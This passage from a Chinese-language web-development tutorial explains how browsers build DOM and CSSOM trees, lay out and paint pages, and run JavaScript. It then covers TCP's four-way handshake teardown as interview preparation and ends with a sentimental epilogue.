      <p>Hello DOM!</p>
    </div>
  </body>
</html>

对应的简化 DOM 树结构:

html
├─ head
│  └─ title (文本:测试页面)
└─ body
   └─ div (class="box")
      └─ p (文本:Hello DOM!)

你也可以在浏览器控制台输入 documentconsole.dir(document),直接查看当前页面的完整 DOM 树结构。

image.png

2. 解析 CSS,构建 CSSOM 树

浏览器读取所有 CSS(内联、内嵌、外部 CSS),解析样式规则,生成 CSSOM(CSS 对象模型)树。CSSOM 树是样式的 “规则集”,记录了每个元素该应用的样式(如颜色、大小、位置等),且会考虑样式的优先级(如行内样式 > ID 选择器 > 类选择器)。

/* 原始CSS */
.box {
  width: 200px;
  background: #f0f0f0;
}
.box p {
  color: red;
  font-size: 16px;
}

对应的简化 CSSOM 树结构:

.box
├─ width: 200px
├─ background: #f0f0f0
└─ .box p
   ├─ color: red
   └─ font-size: 16px

image.png

:CSSOM 树会自动处理样式继承和优先级,比如<p>会继承<div>的部分样式(如字体),但优先应用自身的样式规则

3. 合并 DOM 树和 CSSOM 树,生成渲染树

浏览器会将 DOM 树CSSOM 树 合并,只保留 “需要显示的元素”(如<body>内的可见元素,排除<head>display: none的元素),并为每个元素绑定对应的样式规则,最终形成渲染树。渲染树是 “带样式的骨架”,既包含结构,又包含样式。

4. 布局(Layout / 回流)

基于渲染树,浏览器计算每个元素的精确位置(如 top、left)、大小(width、height)、行高、间距等,这个过程也叫 “回流”。比如计算.box的宽 200px,<p>的字体大小 16px,以及它们在页面中的坐标。

5. 绘制(Paint)

浏览器根据布局结果,将元素的视觉属性(颜色、背景、边框、阴影、图片等)逐个画在屏幕上,最终形成我们看到的可视化页面。

image.png

6. 执行 JS 脚本(穿插在渲染过程中)

JS 脚本的执行会穿插在上述步骤中:

  • 如果 JS 写在<head>且没有defer/async,浏览器会暂停 HTML 解析,先执行 JS(此时 DOM 树可能未构建完成)
  • 如果 JS 操作 DOM/CSS(如document.querySelector('.box').style.color = 'blue'),会触发 DOM/CSSOM 更新,甚至重新布局 / 绘制,这也是为什么频繁操作 DOM 会影响页面性能
// 等待DOM加载完成后执行
document.addEventListener('DOMContentLoaded', function() {
  // 获取DOM节点
  const pTag = document.querySelector('.box p');
  
  // 修改文本(更新DOM)
  pTag.textContent = 'Hello JS + DOM!';
  
  // 修改样式(更新CSSOM,可能触发重绘)
  pTag.style.color = 'blue';
});

六、通信结束:TCP 四次挥手,“友好告别”

如果我们关闭百度页面,客户端和服务器的通信就结束了,这时候 TCP 协议会进行四次挥手,主打一个 “好聚好散,清理资源”

第一步:客户端发起 “分手请求”(FIN 包)

客户端主动发送带有FIN(结束)标志位的数据包,告诉服务器:“我这边已经没有数据要发给你了,准备断开连接啦!”,发送完成后,客户端进入FIN_WAIT_1(等待结束)状态。

第二步:服务器 “收到通知,先回应”(ACK 包)

服务器收到客户端的 FIN 包后,立即回传带有ACK(确认)标志位的数据包,意思是:“我收到你的断开请求了,你先等一等,我这边可能还有剩余数据要处理 / 传输!”,服务器此时进入CLOSE_WAIT(关闭等待)状态,客户端收到 ACK 包后,进入FIN_WAIT_2状态,等待服务器的最终通知。

第三步:服务器 “处理完收尾工作,正式提分手”(FIN 包)

服务器把剩余未传输完的数据全部发送给客户端,确认自身无数据需要传输后,向客户端发送带有FIN标志位的数据包,告知:“我这边数据也都发完了,我也准备好断开连接了!”,发送完成后,服务器进入LAST_ACK(最后确认)状态。

第四步:客户端 “确认收尾,正式断开”(ACK 包)

客户端收到服务器的 FIN 包后,回传带有ACK标志位的数据包,告诉服务器:“收到你的断开确认了,咱们的连接可以彻底断了!”,客户端发送完 ACK 包后会短暂进入TIME_WAIT(时间等待)状态(防止延迟的数据包干扰新连接),服务器收到 ACK 包后立即进入CLOSED(已关闭)状态,释放占用的网络资源;客户端等待一段时间后也进入CLOSED状态,至此 TCP 连接完全断开。

image.png

面试考点:为什么挥手需要四次?

TCP 是全双工通信(简单说就是客户端和服务器能同时向对方发数据),断开连接需要分别关闭 “客户端→服务器” 和 “服务器→客户端” 两个方向的通信。

如果只做三次挥手,服务器就得在收到 FIN 包后,立刻同时发 ACK(确认)和 FIN(关闭)包,但这会导致服务器来不及传输剩余数据,大概率造成数据丢失 —— 毕竟服务器收到断开请求时,可能还囤着要发给客户端的 “尾款数据”,必须先处理完,才能真正说 “分手”

总结:面试该怎么简要概括?

DNS 解析:浏览器通过 DNS 服务器(本地→根→顶级→目标)将域名(如www.baidu.com)解析为对应 IP 地址,拿到服务器的 “网络地址”

TCP 连接:客户端与服务器通过 TCP 三次握手建立可靠连接,确保双向通信的基础

HTTP/HTTPS 请求:浏览器基于 TCP 连接,通过 HTTP/HTTPS 协议向服务器发送资源请求(HTTPS 额外通过 SSL/TLS 加密保障安全)

服务器响应:服务器处理请求后,将 HTML/CSS/JS 等资源通过 TCP 连接回传给浏览器

页面渲染:浏览器先解析 HTML 生成 DOM 树、解析 CSS 生成 CSSOM 树,合并为渲染树后完成布局和绘制,若有 JS 则穿插执行并动态修改页面

连接断开 :通信完成后,通过 TCP 四次挥手断开连接(适配全双工特性,确保数据传输完整)

如果面试的时候需要详细说的话,比如三次握手、四次挥手等,那就看上面的详细解析😊

结语

其实我们总在互联网的协议里寻找答案,以为丢包是意外,延迟是考验,超时是暂时。可直到走过完整的 URL 流程才明白,有些连接从 DNS 解析就注定无果,有些请求再怎么三次握手、四次挥手,也换不来一次响应。就像输入网址后,服务器可以拒绝连接,可以返回错误,可以断开链路,却唯独不会沉默到底。而人生里最真实的道理,从来都藏在这些冰冷的协议中:不必再为一个不愿与你建立连接的人耗尽握手,也别在一段没有响应的关系里反复重传。放过自己,不是停止发送,而是主动挥手,断开这段本就不存在的连接,去遇见那个愿意与你完整完成三次握手、稳稳相伴、好好告别的人。

❌
❌